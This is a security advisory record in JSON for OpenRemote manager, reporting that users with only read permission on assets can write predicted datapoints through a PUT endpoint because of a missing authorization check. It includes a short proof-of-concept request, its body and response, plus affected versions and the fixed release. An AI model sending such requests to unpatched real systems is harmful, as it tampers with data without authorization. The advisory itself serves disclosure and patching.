{"id":"GHSA-xj53-j257-hxvg","summary":"OpenRemote read-only asset users can write predicted datapoints","details":"# Summary\n\nThe predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints.\n\nThe endpoint:\n\n```text\nPUT /api/{realm}/asset/predicted/{assetId}/{attributeName}\n```\n\naccepts write requests from users lacking `write:assets`.\n\nThe implementation appears to check `READ_ASSETS` while performing a write operation through:\n\n```java\nassetPredictedDatapointService.updateValues(...)\n```\n\n# PoC\n\nA user was created with only:\n\n```text\nread:assets\n```\n\nand without `write:assets`.\n\nThe following request succeeded:\n\n```http\nPUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature\n```\n\nRequest body:\n\n```json\n[{\"x\":1779199999001,\"y\":1337}]\n```\n\nResponse:\n\n```text\nHTTP/2 204\n```\n\nDatabase verification confirmed the datapoint was written successfully:\n\n```text\nentity_id: 4Fr8Pcp7iDjrEmoSUFolvT\nattribute_name: temperature\nvalue: 1337\n```\n\n# Impact\n\nUsers with read-only asset permissions can modify predicted datapoints for assets.","aliases":["CVE-2026-49439"],"modified":"2026-07-06T17:11:31.089802Z","published":"2026-07-06T16:52:35Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-07-06T16:52:35Z","nvd_published_at":null,"cwe_ids":["CWE-862"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/openremote/openremote/security/advisories/GHSA-xj53-j257-hxvg"},{"type":"WEB","url":"https://github.com/openremote/openremote/commit/583dbbfb96076ba099be8729ddf506acf9e48325"},{"type":"PACKAGE","url":"https://github.com/openremote/openremote"}],"affected":[{"package":{"name":"io.openremote:openremote-manager","ecosystem":"Maven","purl":"pkg:maven/io.openremote/openremote-manager"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.24.1"}]}],"versions":["1.10.0","1.11.0","1.11.1","1.11.2","1.11.3","1.12.0","1.12.1","1.12.3","1.13.0","1.13.1","1.14.0","1.15.0","1.15.1","1.15.2","1.16.1","1.17.0","1.17.1","1.17.2","1.17.3","1.18.0","1.19.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.20.0","1.20.1","1.20.2","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.5.0","1.6.0","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.8.0","1.8.1","1.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-xj53-j257-hxvg/GHSA-xj53-j257-hxvg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}]}